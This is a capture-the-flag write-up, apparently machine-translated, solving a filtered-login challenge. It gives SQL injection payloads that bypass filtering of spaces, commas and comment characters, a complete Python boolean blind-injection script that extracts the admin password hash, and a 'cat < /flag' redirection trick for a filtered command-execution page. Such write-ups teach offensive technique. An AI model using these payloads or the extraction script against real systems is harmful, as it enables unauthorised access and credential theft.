Title: all filtered
Knowledge points: SQL injection, SQL injection bypass, command execution bypass
Tools:
Problem solving:
Determine the question type:
Click Open Link:
Is a login box, and then check the source code. It is found that the interface is invalid except that the login points to a php script, so the mystery of this problem should be here. In this case, there are two common types: weak password explosion and SQL injection attack. I didn't try the first one because I saw other people's tips and determined that it was an SQL injection (note that there are many non SQL injection problems on the Internet, which are due to the loopholes left by the imperfection of the problem in the early stage. Now only SQL injection can solve the problem after improvement)
Find the injection point:
To start, try the user name and password:
Try universal password:
I also tried # but it didn't work. It seems that there is filtering. Let's see which characters are filtered (it's a pit here, and the prompt given in the title is wrong). Try some more important ones, and find that #, --, or, and, spaces are filtered, -, (), ',' and "are not filtered:
At this point, let's sort out the information at hand and generally look at the three important elements of SQL injection attack: injection point, payload and server response. I don't think the injection point of this question will be the first one of http, It should be uname and passwd (because my attempts keep finding out); I have found some filters in payload, which will be discussed later; it is worth noting that the server's response has three types: wrong password, wrong user name and detected injection. Looking at them one by one, it is obvious that the admin user exists, which provides a direction for us , we probably want to get the admin password, and the wrong user name obviously means that the user does not exist. Here, we need to think about it. Since the server distinguishes between the absence of the user and the wrong password, the back-end SQL statement cannot be completed by a statement such as select * from user where username = user name and password = password, There must also be a sentence select * from user where username = user name to verify the existence of the user name. Let's first see if there is an injection by selecting * from user where username = user name?
No error is reported. As expected, the error is too simple. The corresponding response of the server is the user name error (the results of single and double quotation marks are the same). Does this mean that the single quotation marks have not been filtered but have been escaped, or that the back-end processing of sql statement errors is the response to the user name error?
Let's continue our experiment. Here we'll try closing quotation marks:
First, let's talk about how we close quotation marks. Since the annotator can't be used, we can directly close them with quotation marks. Whether the quotation marks can be closed successfully can explain whether the quotation marks have been escaped. There is a pit I skipped before:
Although the two strings in mysql can be spliced without hyphens, there is a single quotation mark between them. If you try to construct here
uname=admin '& passwd = 123 and uname=admin' & passwd = 123 look at the difference between the two, which is not desirable.
Look at the two payload s below
Let me explain to you that string and number types in mysql can be compared or operated on, but before comparison and operation, the string will be converted to 0. The two payload s here may be:
select * from user where username='admin'-0-'';
The minus sign has high priority. The result of 'admin' - 0 - 'is 0, which is actually select * from user where username=0; As I just said, the comparison between string and number will become 0, so username=0 is always true. We got the wrong password, which is in line with our expectations.
select * from user where username='admin'-'1-'';
The response user name error also met our expectations.
Now we can confirm that single quotation marks can close the parameter uname, and there is SQL injection.
Determine injection type:
After finding the injection point, let's determine the injection type. Obviously, at this time, SQL is blind. The results of our experiments above tell us that it is impossible to report an error. It is impossible to report an error in this life. The database error is not echoed, and the server-side script does not prompt. This can be done only by looking at Boolean injection and delayed injection. For me, there is little difference between delayed injection and Boolean injection, but I need to see whether some functions are filtered. After verification, mid, substr, ascii, ord and other functions are not filtered, and () is not filtered, but (,) and (,) are filtered, which will have a great impact on the use of mid, substr and other functions. I think of regular expressions, Unfortunately, after trying, I found that regexp was also filtered. However, there is no way out. I found an unusual use of mid:
Mid (string from start position for length)
It doesn't matter if you can't use spaces. Let's use () to separate keywords and strings
Construct payload:
uname=admin'-(mid((passwd)from(1))='a')-'&passwd=123
For this payload, we can judge whether (mid((passwd)from(1))='a ') is true through the returned result, so as to get the first place of passwd. However, it should be noted that the passwd here is also a personal guess, and the field name corresponding to the password is not necessarily passwd. It can only be said that it is very possible, but we can see that the result here is:
This indicates that the passwd field exists, because if it does not exist, an error will be reported. The result of the error is that the user name does not exist (if the password field name is tricky, there should be the usual SQL injection steps from database name to table name and then to field name)
At this point, I suddenly remembered
For in mid (string from start position for length) is necessary, because mid (string from start position) = left (string, start position), but after adding for, I found that injection was detected. Obviously, for was filtered. I stuck here for a long time, but I was lucky to see a big man's payload:
mid(REVERSE(MID((passwd)from(-1))
You can deduce:
mid(REVERSE(MID((passwd)from(n)))from(-1))=mid((passwd)from(n)for1)
Write a Python script:
# -*- coding: utf-8 -*- import requests as rq uname = {'uname': "admin'-(ascii(mid(REVERSE(mid((passwd)from({start})))from(-1))){operator}{value})-'"} passwd = {'passwd': '123'} url = "http://114.67.246.176:18609/login.php" def bool_sql(col_min, col_max, ascii_min, ascii_max, url, injection, other_data, judge_string): session = rq.Session() value = '' injection_data = '' injection_param = '' for key, val in injection.items(): injection_data = val injection_param = key for i in range(col_min, col_max): start = i injection_data_1 = injection_data.replace('{start}', str(start)) injection_data_2 = injection_data.replace('{start}', str(start)) lmax = ascii_max lmin = ascii_min while lmin <= lmax: injection_data1 = injection_data_1 injection_data2 = injection_data_2 ascii_mid = int((lmin + lmax) / 2) injection_data1 = injection_data1.replace('{value}', str(ascii_mid)) injection_data2 = injection_data2.replace('{value}', str(ascii_mid)) injection_data1 = injection_data1.replace('{operator}', '=') # print(injection_data1) data = {injection_param: injection_data1} data.update(other_data) html = session.post(url, data=data) if judge_string in html.text: break injection_data2 = injection_data2.replace('{operator}', '<') data = {injection_param: injection_data2} data.update(other_data) # print(injection_data2) html = session.post(url, data=data) # print(html.text) if judge_string in html.text: lmax = ascii_mid - 1 else: lmin = ascii_mid + 1 # print(ascii_mid) value += chr(ascii_mid) return value print(bool_sql(1, 33, 1, 129, url, uname, passwd, "username error!!@_@"))
Results obtained:
Try flag first
It is found that you still need to log in. It is wrong to borrow this as the password. I guess php often stores the password after md5 encryption, MD5 free online decryption and cracking_ MD5 online encryption - SOMD5 Online decryption to get bugkuctf
Sign in
Enter the command execution interface
I found that there are also many filters here. According to other people's tips, cat < / flag gets the flag
You can learn about shell redirection here, but I feel it's very accidental to know that the redirection can find the flag. It's really hard to find the flag if it changes the file name or is not directly placed in the root directory.